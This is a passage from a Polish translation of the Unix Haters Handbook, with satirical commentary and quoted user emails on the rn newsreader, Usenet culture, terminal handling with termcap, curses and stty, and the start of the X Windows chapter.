trn, najnowsza wersja rn, połączyła wszystkie łaty rn i rrn i dodała zdolność łączenia artykułów w wątki. Wątek jest zbiorem artykułów i odpowiedzi, a trn pokazuje „drzewo” poprzez umieszczanie małego diagramu w prawym górnym rogu ekranu. Na przykład:

+[1]-[1]-(1)\-[2]-[*]| +-[1]+-[5]+[3]-[2]

Nie, też nie wiemy co to ma znaczyć, ale są Unixowe świry którzy przysięgają że poprzez podobne diagramy i specjalne niealfabetyczne kombinacje klawiszy „manipulują” informacjami.

Rodzina rn jest wysoko przystosowywalna. Z drugiej strony tylko dla naprawdę analnie obsesyjnego świra Unixowego ma znaczenie czy killfiles są przechowywane jako

$HOME/News/news/group/name/KILL,~/News.Group.Name,$DOTDIR/K/news.group.name

73

Page 74: Unix Haters Handbook

Czasami ta zdolność (którą można sobie w buty wsadzić w nieelastycznym środowisku z powodu „% strings” i „escape sequences”) dopada cię i gryzie:

Date: Fri, 27 Sep 91 16:26:02 EDTFrom: Robert E. Seastrom <[email protected]>To: UNIX-HATERSSubject: rn bites weenie

Marnowałem mój czas czytając abUsenet, kiedy napotkałem artykuł który chciałem zachować. RN ma tą przydatną małą funkcję że pozwala ci przekierować aktualny artykuł do każdego Unixowego programu, więc można wydrukować artykuł pisząc „| lpr” w odpowiednim czasie. Co więcej, można go wysłać do siebie albo do innej szczęśliwej osoby pisząc „| mail [email protected]” w tym samym prompcie.

Artykuł który chciałem zachować ma bezpośredni związek z moją pracą, więc chciałem go do siebie wysłać. Mamy podłączenie UUCP do uunet-u (źródło mojej nieustającej radości, ale to inny problem...), ale nie mamy nazwy domeny. Tak więc wysłałem to do „rs%[email protected]”. Najwyraźniej %d oznacza coś specjalnego dla rn, ponieważ kiedy chciałem przeczytać swoją pocztę kilka godzin później, znalazłem to w skrzynce:

Date: Fri, 27 Sep 91 10:25:32 -0400From: [email protected] (Mail Delivery Subsystem)----- Transcript of session follows ----->>> RCPT To:<rs/tmp/alt/sys/[email protected]><<< 550 <rs/tmp/alt/sys/[email protected]>... User unknown550 <rs/tmp/alt/sys/[email protected]>... User unknown

—Rob

Jeśli wątpisz, pisz

I put a query on the netI haven’t got an answer yet.

—Ed NatherUniversity of Texas, Austin

We wczesnych dniach Usenetu, propagacja artykułu w sieci mogła zająć tydzień, ponieważ każdy długi skok był zwykle nocnym połączeniem telefonicznym. W efekcie dyskusje Usenetowe często przypominały muzyczny [round-robin] i dziecięcą grę w głuchy telefon. Ci „wcześniejsi” w łańcuchu dodawali nowe fakty albo w ogóle przechodzili do czegoś innego, podczas gdy ci na końcu linii otrzymywali wiadomości zwykle w złej kolejności albo w złym kontekście. E-mail był często zawodny, więc miało sens odpowiadać na czyjeś pytanie. Było także poczucie że pytanie i twoja odpowiedź zostaną razem wysłane do następnego serwera na linii, tak że ludzie będą mogli zobaczyć że ktoś odpowiedział na pytanie. Skutkiem była, zadziwiająco, redukcja objętości.

Usenet jest dzisiaj o wiele szybszy. Możesz wysłać artykuł i jeśli jesteś w Internecie w może on osiągnąć setki serwerów w pięć minut. Podobnie jak z bombą atomową, ludzie nie utrzymali technologii. Ludzie widzą artykuł i czują pęd do natychmiastowego odpowiadania nie patrząc, czy ktoś inny już na to odpowiedział. Częściowo winne jest oprogramowanie – nie ma dobrego sposobu na sprawdzenie czy ktoś już odpowiedział na pytanie. Na pewno winne jest ego: zobacz, mamo, moje imię w światłach.

74

Page 75: Unix Haters Handbook

W efekcie pytania zadane w Usenecie zbierają wiele publicznych odpowiedzi. Często są one przeciwstawne i wiele jest niewłaściwych, ale można się tego spodziewać. Darmowa rada jest tyle warta, ile się za nią zapłaciło.

Aby zmniejszyć częstotliwość często zadawanych pytań, wiele grup dyskusyjnych ma ochotników którzy okresowo wysyłają artykuły zwane FAQ zawierające najczęściej zadawane pytania i odpowiedzi na nie. Często zdarzają się artykuły mówiące „gdzie jest FAQ” albo bardziej niegrzecznie „przypuszczam że to jest w FAQ, ale...”Siedem stadiów Snoozenetu

Autor: Mark Waks

Siedem stadiów Usenetuw obrazujących przykładach.

Niewinność

CZEŚĆ. JESTEM TU NOWY. DLACZEGO NAZYWAJĄ TĄ GRUPĘ TALK.BIZARRE? MYŚLĘ ŻE TA DUPA UPS, GRUPA --- HE, HE) JEST NAPRAWDĘ FAJNA :-) <-- MÓJ PIERWSZY UŚMIESZEK.CZY KTOŚ MA JAKIEŚ INTERESUJĄCE? PROSZĘ WYŚLIJCIE, MYŚLĘ ŻE SĄ FAJNE. CZY KTOŚ MA JAKIEŚ DZIWACZNE DOWCIPY O MARTWYCH DZIECIACH?

Entuzjazm

Wow! To jest świetne! Ale zauważyłem jedną rzecz – zawsze kiedy ktoś próbuje opowiedzieć dowcip o martwych dzieciach wszyscy mówią że nie chcą ich słuchać. To jest naprawdę do dupy; wielu z nas *lubi* dowcipy o marwych dzieciach. Tak więc proponuję założyć grupę rec.humor.dead.babies specyficznie dla tych z nas którzy lubią takie dowcipy. Czy ktoś może mi powiedzieć jak założyć grupę?

Arogancja

W wiadomości (3.14159@BAR), [email protected] powiedział:> [dowcip o martwym kurczaku skasowany]

Tego typu dowcipy NIE NALEŻĄ TUTAJ! Nie umiesz czytać reguł? Gene Spafford *wyraźnie napisał* w Liście Grup Dyskusyjnych:

rec.humor.dead.babies Wymiana dowcipów o martwych dzieciach

Wystarczająco jasne dla ciebie? Nie wystarczy że coś jest martwe, to musi być dziecko – kapujesz?

Ta osoba to wyraźnie śmieć – specjalnie chowa się pod pseudonimem. Mam na myśli że co to za imię FOO? Piszę do admina BAR.BITNET żądając natychmiastowego unieważnienia dostępu do sieci tej osobie. Jeżeli admin się nie zgodzi, pewnie też w tym siedzi – będę nalegał na szybkie odcięcie im zasilania żeby nie mogli rozprzestrzeniać tego rodzaju #%! W sieci.

Rozgoryczenie

75

Page 76: Unix Haters Handbook

In message (102938363617@Wumpus), James_The_Giant_Killer@Wumpus writes:

> Q: Jak zmieścić 54 martwe dzieci w garnku Tupperware?> ^L> A: Przepuścić przez maszynkę! HAHAHA!

Ludzie! Czy wy kompletnie nie macie wyobraźni? Słyszeliśmy ten dowcip *co najmniej* 20 razy w ostatnich 3 miesiącach!

Kiedy zakładaliśmy tą grupę był dynamiczna i innowacyjna. Wymienialiśmy się tylko naprawdę świeżymi dowcipami, których nikt wcześniej nie słyszał. Połowa dowcipów była *całkowicie* oryginalna. Teraz wszystko co mamy to chcących słuchać samych siebie. Jesteście mętni jak pomyje. Poddaje się; wypisuję się od teraz. Możecie mieć swoje głupie argumenty beze mnie. Do widzenia!

Rezygnacja

In message (12345@wildebeest) wildman@wildebeest complains:>In message (2@newsite) newby@newsite (Jim Newbs) writes:>>Jak zmieścić 500 martwych dzieci w koszu na śmieci?>>Przy pomocy Cuisinart!> ARRGGHH! Założyliśmy grupę rec.humor.dead.babies.new specjalnie żeby> trzymać takie STAROŻYTNE dowcipy z daleka! Idź stąd i przyczep się do> r.h.d.b dopóki nie uda ci się uruchomić wyobraźni, OK.?

Hej, dzikusie, uspokój się. Gdybyś był tutaj tak długo jak ja zrozumiałbyś, że durnie są częścią życia sieci. Popatrz na to z innej strony: przynajmniej nas jeszcze nie przygnietli. Większość żartów na rec.humor.dead.babies.new ciągle jest świeżych i interesujących. Możemy mieć nadzieję że ludzie tacy jak ten nowy będą się przyglądać dopóki nie zrozumieją subtelności tworzenia takich dowcipów, ale musimy ich znosić jeśli będzie inaczej. Bądź spokojny i nie daj się im wkurzać.

Skostnienie

In message (6:00@cluck), chickenman@cluck (Cluck Kent) crows:> In message (2374373@nybble), byte@nybble (J. Quartermass Public)writes:>> In message (5:00@cluck), chickenman@cluck (Cluck Kent) crows:>>> In message (2364821@nybble), byte@nybble (J. Quartermass Public)writes:>>>> In message (4:00@cluck), chickenman@cluck(Cluck Kent) crows:>>>>> Tak więc proponuję stworzenie grupy rec.humor.dead.chicken.>>>> Zanim ogłosicie utworzenie nowej grupy, przypominam że trzeba postępować >>>> według zasad. Wytyczne wyraźnie wskazują że powinieneś być w stanie>>>> zapewnić wystarczającą objętość grupy. Nie słyszałem o takiej objętości>>>> na rec.humor.dead.babies, więc muszę skonkludować że ta propozycja jest>>>> fałszywa i oszukańcza.>>> Kiedy ostatni raz próbowaliśmy wysłać dowcip o martwym kurczaku na r.h.d.b,>>> wszyscy krzyczeli że to niewłaściwe miejsce! Jak ŚMIESZ zarzucać nam brak>>> objętości, you [TURD]?

76

Page 77: Unix Haters Handbook

>> To jest atak na niewłaściwego człowieka. Moje zdanie jest po prostu takie: jeżeli>> tutaj byłoby jakieś zainteresowaniem dowcipami o zdechłych kurczakach,>> z pewnością chcielibyśmy usłyszeć jakieś dowcipy o zdechłych *dzieciach* >> kurczakach. Nie słyszeliśmy żadnych takich żartów, więc oczywiste jest że>> tutaj nikogo to nie interesuje.> To nie ma wcale sensu! Twoja logika jest kompletnie błędna.

Powinno być jasne dla ludzi od teraz, że nie ma zainteresowania dla rec.humor.dead.chicken, więc grupa nie będzie utworzona.

Tacy ludzie naprawdę mnie wkurzają. Czy on nie zdaje sobie sprawy że jeszcze kilka grup a cały ten domek z kart wokół nas runie? Najpierw mamy rec.humor.dead.chicken (i bez wątpienia rec.humor.dead.chicken.new). Potem będą chcieli rec.humor.ethnic. Potem rec.humor.newfy. W ten sposób wszyscy admini na świecie zdecydują kompletnie nas porzucić. Czy tego chcesz, Cluck? Doprowadzić do końca Usenetu?

Wzywam wszystkich do głosowania przeciwko tej propozycji. Obecny system działa, i nie powinniśmy go ruszać, zostawmy go w spokoju.

Nostalgia

Cóż, właśnie utworzyli rec.humor.ethnic.newfoundland.bizarre. Jak to wszystko szybko poszło. Niedawno podłączyłem się do sieci. W tym czasie były tylko dwie grupy pod humorystycznym sztandarem: rec.humor i rec.humor.funny. Jestem zadziwiony jak wszystko się podzieliło. Teraz trzeba sprawdzać 20 grup żeby być na bieżąco w *nowych* dowcipach. O, stare dobre czasy, kiedy można było wszystko przeczytać w jednym miejscu...

77

Page 78: Unix Haters Handbook

Rozdział 6: Obłęd terminalowy

Curses! Znów spieprzone!

Mówi się o Unixie że jest systemem interaktywnym, co oznacza że programy rozmawiają raczej z użytkownikiem niż jedynie z systemem plików. Jakość tej interakcji zależy między innymi od zdolności monitora i urządzeń wejściowych jakimi dysponuje użytkownik i od zdolności programów do użycia tego sprzętu.

Grzech pierworodny

Nieszczęśliwie dla nas, Unix został zaprojektowany w czasach dalekopisów. Dalekopisy obsługiwały wtedy operacje typu wydruk znaku, cofnięcie i wysunięcie papieru. Od tego czasu opracowano dwie różne technologie wejścia/wyjścia: terminale znakowe (VDT – video display terminal), który drukuje znaki dużo szybciej niż terminale hardcopy oraz umieszcza kursor w dowolnym miejscu na ekranie; oraz terminale bitmapowe, w których każdy pojedynczy piksel może być włączony lub wyłączony (a jeśli chodzi o kolory, każdy piksel może mieć własny kolor wybrany z mapy kolorów).

Kiedy tylko więcej niż jedna firma zaczęła sprzedawać terminale znakowe, inżynierowie oprogramowania stanęli przed natychmiastowym problemem: różni producenci używali różnych sekwencji kontrolnych do wykonywania podobnych funkcji. Programiści musieli znaleźć sposób poradzenia sobie z różnicami.

Programiści w szanownej Digital Equipment Corporation podeszli w sposób bardzo prosty do rozwiązania problemu heterogeniczności terminali. Ponieważ każda firma produkowała sprzęt i oprogramowanie, po prostu nie obsługiwali terminali innych producentów. Zakodowali na sztywno algorytmy wyświetlania informacji na standardowym DEC VT52 (potem VT100, VT102 itd.) do ich systemu operacyjnego VMS, aplikacji, skryptów, listów i każdego innego ciągu systemowego jaki wpadł im w ręce. Faktycznie, w budynkach DEC-a ZK1, ZK2 i ZK3 powstała cała tradycja pisania animowanych „kartek świątecznych” i wysyłania ich do innych, niczego nie podejrzewających użytkowników. (Pomyśl o nich jako o wczesnych prekursorach komputerowych robaków i wirusów).

W MIT AI Laboratory opracowano inne rozwiązanie. Zamiast uczyć każdy program jak wyświetlić informację na ekranie użytkownika, algorytmy wbudowano do systemu operacyjnego ITS. Specjalny podsystem wejścia/wyjścia w kernelu ITS pilnował każdego znaku wyświetlonego na ekranie użytkownika i automatycznie obsługiwał różnice pomiędzy różnymi terminalami. Dodanie nowego rodzaju terminalu wymagało tylko nauczenia kernela ITS-u wielkości ekranu terminalu, znaków kontrolnych i charakterystyk operacyjnych i nagle każdy istniejący program mógł pracować na nowym terminalu bez modyfikacji.

A ponieważ ekran był obsługiwany przez system operacyjny a nie każdy program z osobna, każdy program mógł odświeżać ekran (jeśli masz szumy na linii) lub dzielić część ekranu z innym programem. Był nawet użytkowy program systemowy pozwalający użytkownikowi obejrzeć zawartość ekranu innego użytkownika, co było szczególnie użyteczne jeśli chciało się odpowiedzieć na czyjeś pytanie bez chodzenia do jego terminalu.

Unix (poprzez ręce Billa Joy-a) przyjął trzecie podejście. Techniki manipulacji terminalem zostały napisane i połączone w bibliotekę, ale ta biblioteka, zamiast być linkowana do kernela gdzie przynależała (albo pozostać jako biblioteka współdzielona), była

78

Page 79: Unix Haters Handbook

linkowana do każdej aplikacji. Jeżeli wykryto błędy w tzw. bibliotece termcap, programy z nią budowane musiały być przelinkowane (i czasem przekompilowane). Ponieważ ekran był zarządzany na poziomie aplikacji, różne programy nie mogły współdziałać na tym samym ekranie. Zamiast tego każdy z nich przypuszcza że ma całkowitą kontrolę (nie było to złe założenie biorąc pod uwagę stan Unixa wówczas). I, co prawdopodobnie najważniejsze, kernel Unixa ciągle uważa że wyświetla informacje na konwencjonalnym dalekopisie.

W efekcie Unix nigdy nie opracował racjonalnego planu albo modelu interakcji z VDT dla programów. W połowie zaimplementowana kombinacja (jak termcap) na innej w połowie zaimplementowanej kombinacji (jak curses) zostały wymyślone aby dać programom pewien rodzaj niezależności terminalowej, ale główny problem nigdy nie został rozwiązany. Kilka aplikacji Unixowych potrafi używać „inteligentnych” funkcji terminali innych niż pozycjonowanie kursora, wstawienie i kasowanie linii, przesuwanie obszarów i odwrócenie kolorów. Jeśli twój terminal ma wsparcie dla rysowania linii, ochrony obszarów, znaków podwójnej wysokości albo programowalnych klawiszy funkcyjnych, to po prostu wielka szkoda: to jest Unix. Logiczną kulminacją tej wolnej amerykanki jest X Window System, monstrualna chała która rozwiązuje te problemy przez ich zastąpienie znacznie większym i kosztowniejszym zestawem problemów.

Co ciekawsze, X Window System pochodzi z MIT, podczas gdy znacznie bardziej elegancki NeWS, napisany przez Jamesa Goslina, pochodzi z Suna. Jak dziwnie. To po prostu pokazuje że świar Unixa ma swoją wizję i osiąga to, co chce.

Dzisiaj obsługa znakowych VDT przez Unixa jest tak słaba, że robienie sobie z niej żartów nie może usprawiedliwić horroru. Pojawienie się X i bitmapowych ekranów nie usunie problemu. Pozostaną VDT podłączone do Unixów w biurach i na drugich końcach połączeń modemowych. Jeżeli Unixowi [aficionado] mają rację i naprawdę wielu użytkowników przypada na każdą maszynę Unixową (podczas gdy na jeden komputer z DOS-em przypada jeden użytkownik), to dobrze ponad 2/3 ludzi używających Unixa robi to na marnie obsługiwanych terminalach. Najbardziej interaktywnym narzędziem jakiego używają jest prawdopodobnie vi.

Rzeczywiście, najczęściej używaną aplikacją X jest xterm, emulator terminala VT100. I zgadnijcie jakie programy są używane do kontroli wyświetlania tekstu? Nie inne niż termcap i curses!

Magia curses

Interaktywne programy potrzebują modelu urządzenia wyświetlającego, które mają kontrolować. Najbardziej racjonalną metodą obsługi urządzeń wyświetlających przez system jest abstrakcyjne API (Application Programmer’s Interface) które obsługuje komendy takie jak „znak do tyłu”, „czyść ekran”, „ustaw kursor”. Unix zdecydował się na najprostsze rozwiązanie: nie zapewnić żadnego API w ogóle.

Przez wiele lat programy omijały brak graficznego API, wbudowując w siebie sekwencje sterujące dla najpopularniejszych terminali. W końcu z nadejściem vi, Bill Joy stworzył swoje własne API oparte na pliku deskryptorów terminali nazwanym termcap. To API miało dwie podstawowe wady:

1. Format pliku termcap – zawarte komendy przemieszczania kursorem, te ominięte i techniki reprezentowania złożonych sekwencji sterujących (escape sequences) – były i do dziś pozostały dopasowane do idiosynkrazji vi. Ten plik nie był próbą opisania różnych możliwości terminali w ogólności. Zamiast tego tylko fragmenty odnoszące się do vi zostały umieszczone. Z czasem nieco poprawiono ten problem, ale nie wystarczająco do przezwyciężenia wstępnych błędów projektowych.

79

Page 80: Unix Haters Handbook

2. API opracowane dla vi nie mogło być wykorzystane przez innych programistów w ich własnym kodzie.Tak więc inne programy mogły czytać sekwencje kontrolne zapisane w pliku termcap

ale muszą same sobie zrozumieć którą sekwencję wysłać do terminalu. Jakby tego było mało, AT&T opracował własny, niekompatybilny system reprezentowania możliwości terminali nazwany terminfo.

W rezultacie Ken Arnold napisał bibliotekę nazwaną curses aby zapewnić ogólne API dla VDT. Tym razem powstały trzy problemy. Po pierwsze, Ken odziedziczył uszkodzenie mózgu od vi, kiedy postanowił użyć pliku termcap. Rozpoczęcie od nowa, ucząc się od błędów historii, byłoby właściwym wyborem. Po drugie, curses nie jest bardzo profesjonalnym fragmentem kodu. Podobnie jak większość narzędzi Unixowych, wierzy bardziej w prostotę niż w bezbłędność. Po trzecie, jest to tylko biblioteka bez znaczenia, podobnie jak /etc/termcap sam w sobie nie ma znaczenia. Tak więc nie jest to rozwiązanie przenośne. W efekcie tych problemów tylko część społeczności Unixowej używa curses. I zawsze można odróżnić program używający curses od innych: takie programy to te z powolnym odświeżaniem ekranu i niepotrzebnymi ruchami kursora, i powstrzymujące atrybuty znaków które mogłyby uczynić ekran łatwiejszym do zrozumienia. Programy te używają znaków „|”, „-”, „+” do rysowania linii, nawet na terminalach które mają zestawy znaków do rysowania linii. W 1994 nadal nie ma standardowego API dla znakowych VDT. [Podejrzewam, że w 2006 też nie...]

Bezsensowne separatory

Krótkowzroczność otaczająca obsługę terminali ma podstawę historyczną. Zaczęła się od pomysłu oglądania pliku tekstowego poprzez wysyłanie jego znaków na ekran. (Takie podejście współgra z mantrą Unixową „wszystko jest strumieniem bajtów”). Ale tutaj leży problem, ponieważ zrobienie czegoś takiego jest łamaniem abstrakcji. Logiczna struktura pliku tekstowego to zbiór linii oddzielonych określonym znacznikiem końca linii. Program rozumiejący tą strukturę powinien być odpowiedzialny za wyświetlenie pliku. Można obyć się bez tego programu poprzez określenie jako separatorów linii znaków które wysłane na terminal spowodują powrót karetki (CR) i wysuw linii (LF). Dobrymi chęciami jest piekło wybrukowane i prostymi macherstwami jak to. Chwilowa wygoda przeważyła nad odpornością na błędy i abstrakcyjnością.

Abstrakcja (API) jest ważna ponieważ umożliwia dalsze rozszerzanie systemu; jest jasną bazą na której można budować. Nowa linia jako CR+LF jest przykładem jak zapobiegać logicznym rozszerzeniom systemu. Na przykład ci w społeczności Unixowej najbardziej dotknięci mikromózgowiem są zachwyceni kombinacją polegającą na tworzeniu plików zawierających sekwencje kontrolne tak, że przepuszczone na terminal powodują pokazanie jakiejś formy animacji. Radośnie wysyłają je kolegom zamiast odrobić swoje prace domowe. To śliczna kombinacja, ale te pliki działają tylko na jednym rodzaju terminalu. Teraz wyobraźcie sobie świat z API do kierowania terminalem i możliwością wbudowywania tych komend w pliki. Te pliki mogą być używane na każdym terminalu. Co więcej, to API formuje bazę dla rozszerzeń, dla przenośnych plików. Na przykład dodajmy dźwięk do API i system może już się przechwalać że jest „multimedialny”.

Zasadniczo, potrzebne jest nie tylko API ale musi ono być w kernelu albo być standardową biblioteką dynamicznie dołączaną. Jakaś część systemu musi śledzić typ terminalu i zapewniać niezbędną barierę abstrakcji. Niektórzy fanatycy Unixa odmawiają uwierzenia lub zrozumienia tego. Myślą że każdy program powinien wysyłać swoje sekwencje kontrolne do terminalu bez wymagania pośrednictwa API. Mamy dla tych ludzi propozycję. Dajmy im system w którym dysk jest traktowany w ten sam sposób co terminale:

80

Page 81: Unix Haters Handbook

bez żadnego API. Programy muszą wysyłać surowe komendy kontrolne do dysku. W ten sposób jeśli program się wywali, zamiast śmieci na ekranie będą śmieci na dysku. Poza tym programy będą zależne od szczególnych dysków zainstalowanych w systemie, działając z niektórymi ale nie z innymi.

Oczywiście taka propozycja sterowania dyskiem twardym jest szaleństwem. Każdy dysk ma swoją charakterystykę i te różnice są najlepiej obsługiwane w jednym miejscu przez sterownik urządzenia. Nie każdy program albo programista jest perfekcyjny: operacje takie jak odczyt czy zapis na dysk powinny być zrobione tylko w jednym miejscu systemu operacyjnego, gdzie mogą być raz napisane, poprawione i pozostawione w spokoju. Dlaczego terminale mają być traktowane inaczej? Zmuszanie programistów do zajmowania się sposobem w jaki ich programy mówią do terminali to średniowiecze, najłagodniej mówiąc. Johnny Zweig mówi bez ogródek:

Date: 2 May 90 17:23:34 GMTFrom: [email protected] (Johnny Zweig)Subject: /etc/termcapNewsgroups: alt.peeves

W mojej opinii jako naukowca i inżyniera oprogramowania, nie ma żadnego powodu na świecie dla którego ktokolwiek powinien wiedzieć że /etc/termcap w ogóle ISTNIEJE ani męczyć się z ustawianiem właściwych zmiennych środowiskowych żeby móc użyć vi. Jakiś inny pustogłowiec dalej zepsuł mi życie poprzez ustawienie w większości termcap-ów że „xterm” to ekran 80x65 linii. Dla tych z nas którzy używają X WINDOWS do wyświetlania OKIEN na naszych stacjach roboczych 80x65 ma tyle sensu co używanie wiadra jako siedzenia rowerowego – jest za duże, do cholery, żeby się zmieściło na ekranie. Ten idiota powinien być dwukrotnie zabity.

Wygląda na to że określenie jakiego do diabła typu terminalu używam nie jest tak trudne jak powiedzmy trafienie rakietą nuklearną w zasięgu 10 jardów od celu, lądowanie człowieka na księżycu albo, powiedzmy, Tetris.

Dlaczego do diabła ten byk nie został poprawiony przez ponad 30 cholernych lat potu, krwi i łez części ludzi próbujących pisać programy które nie powodują u użytkowników przerażenia? Pierwsza osoba która powie mi że wystarczy napisać „eval resize” dostanie pięścią w nos za bycie świrem bez pojęcia który nie rozumie problemu. Ta sprawa powinna być obsługiwana programowo 11 poziomów poniżej tego na którym użytkownik wpisuje komendy – cholerny SPRZĘT powinien być w stanie wykryć jaki to typ terminala i jeśli to mu się nie uda powinien wysłać na moją konsolę komunikat mówiący: „Używasz nędznego zaszczanego sprzętu i jesteś frajerem, daj sobie spokój i znajdź sobie prawdziwą robotę”.

- Johnny Terminal

Ten stan rzeczy, jak zinstytucjonalizowana biurokracja byłby do przeżycia (chociaż ciągle nie do zaakceptowania) gdyby była jakaś możliwość ominięcia. Unix nie oferuje żadnego obejścia, zamiast tego losowo przestawia komendy kontrolne jakie wysyła do VDT. Program chcący manipulować bezpośrednio kursorem musi przejść przez więcej zawirowań niż gimnastyk na olimpiadzie.

Dla przykładu, przypuśćmy że program umieszcza kursor w położeniu (x,y) przez wysłanie sekwencji kontrolnej po której następują binarne wartości x i y. Unix nie pozwoli na przesłanie nietkniętych wartości binarnych do terminalu. Dokumentacja GNU Termcap opisuje problem i jego obejście:

81

Page 82: Unix Haters Handbook

Parametry zakodowane z kodowaniem „%” mogą generować puste znaki, tabulatory albo znaki końca linii. To może powodować problemy: puste znaki ponieważ tputs będzie myślał że to koniec stringu, tabulator ponieważ kernel albo inny program może go przekształcić na spacje a znak końca linii ponieważ kernel może dodać CR albo wypełnić znaki normalnie używane jako znaki końca linii. Aby zapobiec takim problemom, tgoto ostrożnie omija takie znaki. Oto jak to działa: jeśli docelowa pozycja kursora może powodować problem (czyli 0, 9 lub 10) tgoto zwiększa ją o 1, a następnie kompensuje przez dodanie stringu przesuwającego kursor do tyłu albo do góry o jedną pozycję.

Alan Bawden tak skomentował tą sytuację:

Date: Wed, 13 Nov 91 14:47:50 ESTFrom: Alan Bawden <[email protected]>To: UNIX-HATERSSubject: Don’t tell me about curses

To co jest tam napisane dowodzi takich uszkodzeń mózgu, że płakać się chce. Z jednej strony Unix wymaga od każdego programu ręcznego generowania sekwencji kontrolnych niezbędnych do sterowania terminalem użytkownika, a z drugiej strony utrudnia ich wysłanie. To jakby pójść do restauracji bez licencji na sprzedaż alkoholu gdzie musisz przyjść z własnym piwem, a wtedy restauracja daje ci zaśliniony kufel żebyś się z niego napił.

Przystosowywanie ustawień terminala

Spróbuj to wszystko zrozumieć, i szybko stwierdzisz że w twoich plikach .cshrc i .login zbierają się stare skrawki dziwacznych obejść, każde zaprojektowane żeby obsłużyć inny rodzaj terminalu albo połączenia sieciowego. Problem polega na tym, że bez spójnego modelu terminalu różne programy wykonujące różne zadania potrzebują różnych przystosowań: telnet i rlogin jednego, tset drugiego a stty jeszcze innego. Te podsystemy zachodują się względem siebie jakby należały do różnych związków zawodowych.W związku z problemem, zwłaszcza w przypadku stty, podsystemy biorą różne komendy i opcje w zależności od tego na jakim Unixie działają (pojęcie przejrzystego środowiska sieciowego w Unixie jest oksymoronem). Nasz następny korespondent dostał odłamkiem tych programów:

Date: Thu, 31 Jan 1991 11:06-0500From: “John R. Dunning”<[email protected]>To: UNIX-HATERSSubject: Unix vs terminal settings

Tak więc innego dnia próbowałem się zatelnetować na lokalnego Suna żeby coś tam zrobić, ale kiedy włączyłem emacs, wyświetliło mi się małe okienko na górze mojego wirtualnego ekranu terminalu. Sprawdziłem moje zmienne TERM i TERMCAP i były ustawione dobrze, spróbowałem jeszcze raz ale nic z tego – ciągle uważał że mój terminal ma tylko kilka linii wysokości. Pokręciłem się chwilę bez pożytku i w końcu poddałem się z rozczarowaniem i wysłałem list do lokalnego „czarodzieja” Unixowego (który powinien pozostać anonimowy, chociaż pewnie jest

82

Page 83: Unix Haters Handbook

na tej liście) i zapytałem go jak Unix decyduje o rozmiarach mojego terminalu i co powinienem zrobić z tym, i użyłem Zmacsa, co powinienem był zrobić od razu.

„Czarodziej” odpowiedział mi tajemniczym „Prawdopodobnie ustawienia domyślne Unixa. Czy sprawdziłeś ustawienia wierszy i kolumn stty?” Powinienem był wiedzieć lepiej, ale nie wiedziałem, więc poszedłem go zapytać o co tak naprawdę chodzi. Zalogowaliśmy się do winnego Suna i po wpisaniu „stty all” okazało się że Unix myśli że terminal ma 10 linii wysokości. Zapytałem więc: „Dlaczego nie wystarczy ustawić zmiennych środowiskowych?”

„Ponieważ informacje są zapisywane w różnych miejscach. Musisz użyć tset.”„Ale używam, w pliku login”.„Hmm, używasz. tset bez argumentów. Ciekawe co robi?”„Nie wiem, skopiowałem to ze starszych innych Unixów na których miałem

konta. Może powinienem ambitnie popatrzeć w dokumentacji tset? Czy to mnie tylko mocniej skonfuduje?”

„Nie, nie rób tego, to bezużyteczne”.„Więc co mam zrobić? Co ty robisz w pliku inicjującym?”

Wydrukował swój plik.

„O, mam ten magiczny zestaw tajemniczego shell-kodu. Nie wiem jak to działa, ale ciągnę to od lat...”

Grr. W tym momencie zrozumiałem że daremne były próby zrozumienia tego – (jeśli nawet lokalny czarodziej tego nie rozumie, zwykli śmiertelnicy nawet nie powinni próbować) i poszedłem do mojego biura poprawić swój plik incjujący aby wymusić ustawienia jakie chciałem. Zalogowałem się i wpisałem „stty all”, i wtedy zaczął myśleć że mój terminal ma 48 linii wysokości! Ale chwileczkę, tą wartość wpisywaliśmy kilka minut wcześniej.

Czując coś śmierdzącego w programie, zrobiłem kilka eksperymentów. Wygląda na to że grupa ustawień twojego terminalu zostaje ustawiona w jakimś niskopoziomowym porcie terminalu albo w jakimś innym miejscu i nikt się nie zajmuje ich inicjalizacją kiedy się logujesz. Możesz łatwo przejąć resztki pozostałe po ostatniej sesji kogoś innego. A ponieważ informacje o charakterystykach terminali są porozrzucane wszędzie zamiast być przechowywane w jakimś centralnym miejscu, można znaleźć wszelkie rodzaje rzeczy robionych ad hoc żeby zmusić jakąś część bazy danych do zgodności z innymi. Blee.

Nie wiem, może dla niektórych to żadna nowość, ale mnie to przeraża. Prawie chciałbym mieć z powrotem moją starą maszynę z VMS-em.

83

Page 84: Unix Haters Handbook

Rozdział 7: Katastrofa X-Windows

Jak spowolnić 50 MIPS-ową stację robocządo poziomu 4,77 MHz IBM PC.

„Gdyby projektanci X Windows budowali samochody, byłoby nie mniej niż pięć kierownic i żadna z nich nie działałaby według tych samych reguł, ale można by zmieniać biegi przy pomocy radia samochodowego. Użyteczna funkcja.”

- Marcus J. RanumDigital Equipment Corporation

X Windows jest niczym Iran-Contra graficznych interfejsów użytkownika: tragedia politycznych kompromisów, zamotanych sojuszy, marketingowego szumu i zwyczajnej chciwości. X Windows traktuje pamięć jak Ronald Reagan traktował pieniądze. Lata „Ergonomii Voodoo” spowodowały bezprecedensowy deficyt pamięci gargantuicznych rozmiarów. Dzielące zależności, rozdzielone blokady i partyzanckie protokoły spowodowały zacieśnienie [gridlocks], pogorszyły warunki wyścigu i ogłosiły podwójne standardy.

X ma swój udział w sedesach za $5000 – jak zegar Suna Open Look, który pożera nawet 1,4 MB pamięci fizycznej! Jeśli poświęciłeś całą pamięć z 22 Commodore 64 na zegarek, to nadal nie wystarczy żeby dowiedzieć się która godzina. Nawet zwykłe narzędzie X11R4 „xclock” zabiera 656 KB żeby działać. I zużycie pamięci przez X rośnie.

X: Pierwsza całkowicie modułowa katastrofa programowa

X Windows zaczynało jako projekt jednego człowieka w biurze na piątym piętrze MIT Laboratory for Computer Science. Czarodziej – hacker, który był obeznany z W, systemem okien napisanym na Uniwersytecie Stanforda jako część projektu V zdecydował napisać dzielony serwer graficzny. Chodziło o to, żeby uruchomić program nazwany klientem na jednym komputerze i umożliwić jego wyświetlenie na innym komputerze na którym uruchomiono inny program, zwany serwerem okien. Te dwa komputery to mogły być dwa VAXy albo dwa Suny, albo po jednym z nich, tak długo jak były razem w sieci i każdy z nich miał zaimplementowany ten sam protokół.

